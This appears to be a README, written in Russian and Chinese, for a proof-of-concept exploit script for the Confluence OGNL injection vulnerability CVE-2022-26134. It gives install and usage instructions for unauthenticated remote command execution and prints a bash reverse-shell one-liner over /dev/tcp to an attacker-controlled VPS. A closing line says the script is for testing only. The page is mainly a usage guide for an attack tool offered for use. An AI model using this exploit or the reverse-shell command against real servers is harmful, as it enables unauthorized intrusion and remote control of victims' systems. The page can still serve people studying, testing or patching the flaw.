keven1z/cve-2022-26134
Удаленный злоумышленник может сконструировать OGNL-выражение для внедрения без аутентификации в Confluence, что позволяет выполнить произвольный код на Confluence Server или Data Center. Poc был модифицирован на основе существующего скрипта для упрощения получения доступа к оболочке.
Удаленный злоумышленник без аутентификации может создать OGNL-выражение для инъекции, что позволит выполнить произвольный код на Confluence Server или Data Center, модифицировать PoC для удобного получения shell. Стандартный порт: 8090
pip3 install requests
______ _______ ____ ___ ____ ____ ____ __ _ _____ _ _
/ ___\ \ / | ____| |___ \ / _ |___ \|___ \ |___ \ / /_ / |___ /| || |
| | \ \ / /| _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_
| |___ \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__ _|
\____| \_/ |_____| |_____|\___|_____|_____| |_____|\___/|_|____/ |_|
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
CVE-2022-26134
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
目标URL
-c COMMAND, --command COMMAND
执行命令(execute command),get shell:/bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1
python3 CVE-2022-26134.py -t [server ip] -c [command] //执行命令
Данный скрипт предназначен только для тестирования, не используйте его в других целях.